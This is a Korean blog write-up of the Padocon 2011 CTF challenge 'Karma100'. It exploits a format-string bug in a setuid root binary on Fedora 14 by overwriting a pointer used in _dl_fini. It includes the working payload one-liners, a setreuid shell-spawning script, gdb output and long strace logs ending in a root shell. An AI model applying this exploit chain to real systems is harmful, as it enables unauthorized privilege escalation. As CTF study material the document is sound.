CTF

Padocon 2011 Quals - Karma100

pwn3r_45 2011. 7. 17. 17:55
Category : system hacking

* file

Summary : format string bug , overwriting _dl_fini



문제서버가 닫혔기 때문에 해커스쿨의 멍멍님께서 대회종료 후 만들어두신 karma 문제 vm서버에서 진행했다.

http://work.hackerschool.org/DOWNLOAD/PadoconCTF/padocon_CTF_2011/

위의 링크에서 다운로드 받을 수 있다.

서버에 접속하여 문제 파일을 확인하면 setuid가 걸린 root의 프로그램을 확인할 수 있다.
(원본서버는 boom100이란 계정에 setuid가 걸려있었다.)

[root@localhost karma100]# ls -l
total 12
-rwsr-xr-x. 1 root root 4826 Jan 17 10:00 attackme
-rw-r--r--. 1 root root  201 Jan 17 10:00 attackme.c

source 파일도 제공되어있다.

[karma100@localhost ~]$ cat attackme.c
#include <unistd.h>
#include <stdio.h>

/* hi, guys! */
/* This is just warm up :) */

int main( int argc, char *argv[] )
{
 char buf[1024];

 fgets( buf, 1024, stdin );

 printf( buf );

 return 0;
}


source는 매우 간단하다. 대놓고 format string bug 취약점이 있음을 보여준다.
padocon의 특징상 시스템해킹 문제의 구조는 매우 간단하지만 , 대회문제서버의 환경은 거의 최신버젼에서 진행된다고 한다.
그럼 문제가 어떤서버에 있는지 확인해본다.

[karma100@localhost ~]$ uname -a
Linux localhost.localdomain 2.6.35.6-45.fc14.i686 #1 SMP Mon Oct 18 23:56:17 UTC 2010 i686 i686 i386 GNU/Linux

fedora 14 이다. fedora 14에는 ASLR(Random stack , Random heap , Random Library)이 모두 걸려있지만 , Random Library는 어느정도 시간이 지나면 주소가 거의 바뀌지 않는다는 것이 Fedora의 특징이다.
실제로 padocon이 끝난후 write-up에 Random Library가 걸려있지 않았다는 내용을 쓰신 분들까지 계신다.

Ascii armor로 Library주소에 NULL이 포함되게 되었고 , NX로 인해 스택에서 쉘코드의 실행이 불가능해졌다.
그리고 중요한 것은 fedora의 특정버전부터 .dtors 영역을 덮어주어도 실행되지 않게되었다. (.dtors영역을 참조하긴하지만 임의로 덮어준 주소가 실행되지 않았다.) 무슨 원리인지는 아직 알지못했다.

대놓고 format string bug 문제이지만 printf이후에 더 이상 함수를 호출하지 않기때문에 got overwriting을 이용한 공격도 불가능하고 , Random stack으로 인해 return address영역을 덮어주는 공격도 할 수 없으며 , .dtors 영역을 덮는 공격도 할 수 없는 점 등등 환경으로 인한 제약이 너무 심하다.

하지만 main 함수수행을 마치고 프로그램이 종료되기전에 동작하는 함수중 하나인 _dl_fini에 내에 이용할 수 있는 부분이 있다.

   0x0010febe <+462>: mov    0x4(%eax),%eax
   0x0010fec1 <+465>: add    (%edi),%eax
   0x0010fec3 <+467>: call   *%eax

위의 code인데 , 이것을 이용할 수 있는 이유는 _dl_fini+462에서 *(eax + 0x4) 와 %edi는 항상 일정한 값을 가지며 *(eax + 0x4)는 write가 가능한 _DYNAMIC 영역이기 때문에 call *%eax에서 원하는 함수를 실행할 수 있다.

(gdb) b *_dl_fini+462
Breakpoint 2 at 0x10febe
(gdb) c
Continuing.
Breakpoint 2, 0x0010febe in _dl_fini () from /lib/ld-linux.so.2
(gdb) x/x $eax+4
0x80495dc <_DYNAMIC+20>: 0x080484ec
(gdb) x/x $edi
0x11f900: 0x00000000

마침 %edi도 0이 들어가있기 때문에 , _DYNAMIC+20 영역에 있는 주소를 그대로 call 하게된다.
따라서 _DYNAMIC+20 영역에 실행시킬 함수나 코드의 주소를 넣어주면 프로그램이 종료되며 실행된다.
execve라이브러리 주소를 덮어본다. execve + 3을 호출하게되면 현재 스택주조상 파일명으로 사용할 수 있으면서 고정적인 인자를 실행하기때문에 execve + 3을 이용한다.

(gdb) p execve
$1 = {<text variable, no debug info>} 0x1be370 <execve>

0xe373 = 58227
0x1001b - 0xe373 = 7336

[karma100@localhost .pwn3r]$ (perl -e 'print "\xdc\x95\x04\x08CCCC\xde\x95\x04\x08%8x%8x%58199c%n%7336c%n"';cat)| strace ~/attackme
execve("/home/karma100/attackme", ["/home/karma100/attackme"], [/* 24 vars */]) = 0
brk(0)                                  = 0x8630000
fcntl64(0, F_GETFD)                     = 0
fcntl64(1, F_GETFD)                     = 0
fcntl64(2, F_GETFD)                     = 0
access("/etc/suid-debug", F_OK)         = -1 ENOENT (No such file or directory)
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb78c3000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=47068, ...}) = 0
mmap2(NULL, 47068, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb78b7000
close(3)                                = 0
open("/lib/libc.so.6", O_RDONLY)        = 3
read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\220\217\23\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1847224, ...}) = 0
mmap2(0x122000, 1612328, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x122000
mprotect(0x2a5000, 4096, PROT_NONE)     = 0
mmap2(0x2a6000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x183) = 0x2a6000
mmap2(0x2a9000, 10792, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x2a9000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb78b6000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb78b66c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0x2a6000, 8192, PROT_READ)     = 0
mprotect(0x11e000, 4096, PROT_READ)     = 0
munmap(0xb78b7000, 47068)               = 0
fstat64(0, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb78c2000
read(0, "\334\225\4\10CCCC\336\225\4\10%8x%8x%58199c%n%7336"..., 4096) = 35
read(0,
"\n", 4096)                     = 1
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb78c1000
write(1, "\334\225\4\10CCCC\336\225\4\10     400  2a8440    "..., 1024?CCCC?     400  2a8440

.......................................중략...................................................

.......................................중략....................................................

write(1, "                                "..., 1024                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                ) = 1024
write(1, "                          C\n", 28                          C
) = 28
execve("n\202\4\10\20ii\r", [], [/* 0 vars */]) = -1 ENOENT (No such file or directory)
--- SIGSEGV (Segmentation fault) @ 0 (0) ---
+++ killed by SIGSEGV (core dumped) +++

Segmentation fault (core dumped)


execve함수가 호출되었고 첫 번째인자로 "n\202\4\10\20ii\r"이라는 문자열이 들어갔다.
몇 번을 공격해도 이 문자열은 고정적으로 첫 번째 인자로 들어갔기 때문에 쉘을 실행하는 python script를 작성하고 이 script에 symbolic link를 걸어 쉘을 얻었다.

[karma100@localhost .pwn3r]$ cat pwn.py
#!/usr/bin/python

import os

os.setreuid(os.geteuid() , os.geteuid())
os.execl("/bin/sh" , "sh")

[karma100@localhost .pwn3r]$ ln -s ./pwn.py `python -c 'print "n\202\4\10\20ii\r"'`
[karma100@localhost .pwn3r]$ (perl -e 'print "\xdc\x95\x04\x08CCCC\xde\x95\x04\x08%8x%8x%58199c%n%7336c%n"';cat)| ~/attackme

?CCCC?     400  2a8440                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  


..............................중략.....................................                                                                                                                      


..............................중략.....................................                
                                                                                                                                                                                                 C


id
uid=0(root) gid=500(karma100) groups=0(root),500(karma100) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023


root 권한의 쉘을 획득하였다.









p.s 문제를 풀던 도중 $ flag를 이용해 위에서 풀이한 방법과 같은 영역에 같은 값을 덮어주어도 /bin/sh가 실행되려는 중에 종료되는 현상이 계속 나타나는데 아직도 해결하지 못했습니다 :-(
혹시 이 현상에 대해 아시는 분은 조언 해주셨으면 좋겠습니다 :)


[karma100@localhost .pwn3r]$ (python -c 'print "\xdc\x95\x04\x08\xde\x95\x04\x08" + "%1$58219c" + "%4$n" + "%1$7336c" + "%5$n"') | strace ~/attackme

.....................................중략............................................
execve("n\202\4\10\20ii\r", [], [/* 0 vars */]) = 0
.....................................중략............................................
geteuid32()                             = 500
geteuid32()                             = 500
setreuid32(500, 500)                    = 0
execve("/bin/sh", ["sh"], [/* 0 vars */]) = 0
brk(0)                                  = 0x8cde000
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb77b6000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=47068, ...}) = 0
mmap2(NULL, 47068, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb77aa000
close(3)                                = 0
open("/lib/libtinfo.so.5", O_RDONLY)    = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\0]6\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=125880, ...}) = 0
mmap2(0x360000, 127796, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x360000
mmap2(0x37d000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1c) = 0x37d000
close(3)                                = 0
open("/lib/libdl.so.2", O_RDONLY)       = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0`\272,\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=19776, ...}) = 0
mmap2(0x2cb000, 16500, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x2cb000
mmap2(0x2ce000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x2) = 0x2ce000
close(3)                                = 0
open("/lib/libc.so.6", O_RDONLY)        = 3
read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\220\217\23\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1847224, ...}) = 0
mmap2(0x122000, 1612328, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x122000
mprotect(0x2a5000, 4096, PROT_NONE)     = 0
mmap2(0x2a6000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x183) = 0x2a6000
mmap2(0x2a9000, 10792, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x2a9000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb77a9000
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb77a8000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb77a9b40, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0x2ce000, 4096, PROT_READ)     = 0
mprotect(0x2a6000, 8192, PROT_READ)     = 0
mprotect(0x11e000, 4096, PROT_READ)     = 0
munmap(0xb77aa000, 47068)               = 0
rt_sigprocmask(SIG_BLOCK, NULL, [], 8)  = 0
open("/dev/tty", O_RDWR|O_NONBLOCK|O_LARGEFILE) = 3
close(3)                                = 0
brk(0)                                  = 0x8cde000
brk(0)                                  = 0x8cde000
brk(0x8cff000)                          = 0x8cff000
brk(0)                                  = 0x8cff000
getuid32()                              = 500
getgid32()                              = 500
geteuid32()                             = 500
getegid32()                             = 500
rt_sigprocmask(SIG_BLOCK, NULL, [], 8)  = 0
time(NULL)                              = 1310901683
ioctl(0, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbfb72d28) = -1 EINVAL (Invalid argument)
open("/proc/meminfo", O_RDONLY)         = 3
fstat64(3, {st_mode=S_IFREG|0444, st_size=0, ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb77b5000
read(3, "MemTotal:        1026004 kB\nMemF"..., 1024) = 1024
close(3)                                = 0
munmap(0xb77b5000, 4096)                = 0
rt_sigaction(SIGCHLD, {SIG_DFL, [], 0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGCHLD, {SIG_DFL, [], 0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGINT, {SIG_DFL, [], 0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGINT, {SIG_DFL, [], 0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_DFL, [], 0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_DFL, [], 0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigprocmask(SIG_BLOCK, NULL, [], 8)  = 0
rt_sigaction(SIGQUIT, {SIG_IGN, [], 0}, {SIG_DFL, [], 0}, 8) = 0
uname({sys="Linux", node="localhost.localdomain", ...}) = 0
getcwd("/tmp/.pwn3r", 4096)             = 12
getpid()                                = 8810
getppid()                               = 8809
stat64(".", {st_mode=S_IFDIR|0775, st_size=4096, ...}) = 0
stat64("/usr/local/bin/sh", 0xbfb72ab0) = -1 ENOENT (No such file or directory)
stat64("/bin/sh", {st_mode=S_IFREG|0755, st_size=877480, ...}) = 0
stat64("/bin/sh", {st_mode=S_IFREG|0755, st_size=877480, ...}) = 0
geteuid32()                             = 500
getegid32()                             = 500
getuid32()                              = 500
getgid32()                              = 500
access("/bin/sh", X_OK)                 = 0
stat64("/bin/sh", {st_mode=S_IFREG|0755, st_size=877480, ...}) = 0
geteuid32()                             = 500
getegid32()                             = 500
getuid32()                              = 500
getgid32()                              = 500
access("/bin/sh", R_OK)                 = 0
stat64("/bin/sh", {st_mode=S_IFREG|0755, st_size=877480, ...}) = 0
stat64("/bin/sh", {st_mode=S_IFREG|0755, st_size=877480, ...}) = 0
geteuid32()                             = 500
getegid32()                             = 500
getuid32()                              = 500
getgid32()                              = 500
access("/bin/sh", X_OK)                 = 0
stat64("/bin/sh", {st_mode=S_IFREG|0755, st_size=877480, ...}) = 0
geteuid32()                             = 500
getegid32()                             = 500
getuid32()                              = 500
getgid32()                              = 500
access("/bin/sh", R_OK)                 = 0
socket(PF_FILE, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 3
connect(3, {sa_family=AF_FILE, path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory)
close(3)                                = 0
socket(PF_FILE, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 3
connect(3, {sa_family=AF_FILE, path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory)
close(3)                                = 0
open("/etc/nsswitch.conf", O_RDONLY)    = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=1720, ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb77b5000
read(3, "#\n# /etc/nsswitch.conf\n#\n# An ex"..., 4096) = 1720
read(3, "", 4096)                       = 0
close(3)                                = 0
munmap(0xb77b5000, 4096)                = 0
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=47068, ...}) = 0
mmap2(NULL, 47068, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb77aa000
close(3)                                = 0
open("/lib/libnss_files.so.2", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\20\32\0\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=54380, ...}) = 0
mmap2(NULL, 49856, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x4f7000
mmap2(0x502000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0xa) = 0x502000
close(3)                                = 0
mprotect(0x502000, 4096, PROT_READ)     = 0
munmap(0xb77aa000, 47068)               = 0
open("/etc/passwd", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=1908, ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb77b5000
read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1908
close(3)                                = 0
munmap(0xb77b5000, 4096)                = 0
gettimeofday({1310901683, 94764}, NULL) = 0
getpgrp()                               = 8808
rt_sigaction(SIGCHLD, {0x80835f0, [], 0}, {SIG_DFL, [], 0}, 8) = 0
getrlimit(RLIMIT_NPROC, {rlim_cur=1024, rlim_max=7915}) = 0
rt_sigprocmask(SIG_BLOCK, NULL, [], 8)  = 0
fcntl64(0, F_GETFL)                     = 0 (flags O_RDONLY)
fstat64(0, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
_llseek(0, 0, 0xbfb72cc0, SEEK_CUR)     = -1 ESPIPE (Illegal seek)
rt_sigprocmask(SIG_BLOCK, NULL, [], 8)  = 0
read(0, "", 1)                          = 0
exit_group(0)